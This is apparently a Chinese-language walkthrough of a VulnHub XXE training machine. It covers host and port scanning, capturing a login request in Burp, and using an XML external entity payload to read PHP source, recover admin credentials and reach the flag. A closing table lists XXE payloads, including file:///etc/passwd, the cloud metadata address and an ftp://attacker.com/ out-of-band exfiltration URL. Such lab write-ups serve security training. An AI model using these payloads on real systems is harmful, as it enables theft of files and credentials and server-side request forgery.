靶场下载
https://vulnhub.com/?q=xxe

将下载好的靶场导入到vm中并启动后就不要再进行其他操作了
打开kali通过sudo arp-scan -l扫描内网ip找到目标ip(如果扫不到ip注意将kali和靶场网络适配器设置为NAT模式)

找到ip后使用nmap进行端口扫描,只有80端口有用

访问网站后看到下面的内容,有用东西不多

使用kali的dirb http://192.168.126.136/扫描网站目录,扫到了robots.txt

查看后发现有两个目录都尝试访问

访问:http://192.168.126.136/xxe/看到一个登录页面重点关注一下

访问http://192.168.126.136/admin.php没有找到页面

但是访问http://192.168.126.136/xxe/admin.php又找到一个登录页面

使用bp开始从http://192.168.126.136/xxe登录页面抓包在账号密码中随便输入一个值开启bp抓包后点击登录

查看包发现是xml格式结合靶场名很容易想到使用xml漏洞进行尝试突破,并且可以注意到当前处于/xxe/xxe.php路径下先尝试获取/xxe/xxe.php的源码

右键将抓到的包发送到重放器并写入xml语句使用base64编码输出成果显示出xxe/xxe.php页面的源码可以看到libxml_disable_entity_loader(false) 和 loadXML($xml, LIBXML_NOENT)——这两行就是“实体加载被打开”的铁证
使用的xml语句:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root[
<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/.flag.php">
]>
<root><name>&file;</name><password>1</password></root>
刚才同样的方法修改一下路径查看之前http://192.168.126.136/xxe/admin.php页面的源码

解码后查看一番发现了
账号:administhebest
密码:e6e061838856bf47e1de730719fb2609 (md5加密解密后密码:admin@123)


再http://192.168.126.136/xxe/admin.php页面输入账号密码后登录成功后看到一个flag点进去看看(http://192.168.126.136/xxe页面登录失败了)

flag页面这个应该是提示要去查看/flagmeout.php的源码

还是一样的操作获取flagmeout.php源码得到一个加密的提示

让deepseek直接进行解密发现是base32+base64两层编码解码得到/etc/.flag.php提示

老样子获取/etc/.flag.php源码

去解码得到一段像乱码的东西,询问deepseek得知是一点段php代码

将代码写到一个php文件中放到小皮网站下访问得到通过提示,注意要加上<?php ...?>(在线运行平台找了好几个输出都不太对最后还是在小皮里搞了)


补充常用的XML协议头
| 协议头 | 核心用途 | 典型 Payload | 环境依赖 |
|---|---|---|---|
file:// | 读取本地普通文件 | file:///etc/passwd | 全语言通用 |
http:// | SSRF探测、云元数据 | http://169.254.169.254/... | 全语言通用 |
php://filter | 读取源码(Base64防破坏) | php://filter/read=convert.base64-encode/resource=xxe.php | 仅限 PHP |
ftp:// | 盲注时外带数据 | ftp://attacker.com/ | 全语言通用 |
netdoc:// | 读取文件(绕过file过滤) | netdoc:///etc/passwd | 仅限 Java |
评论 (0)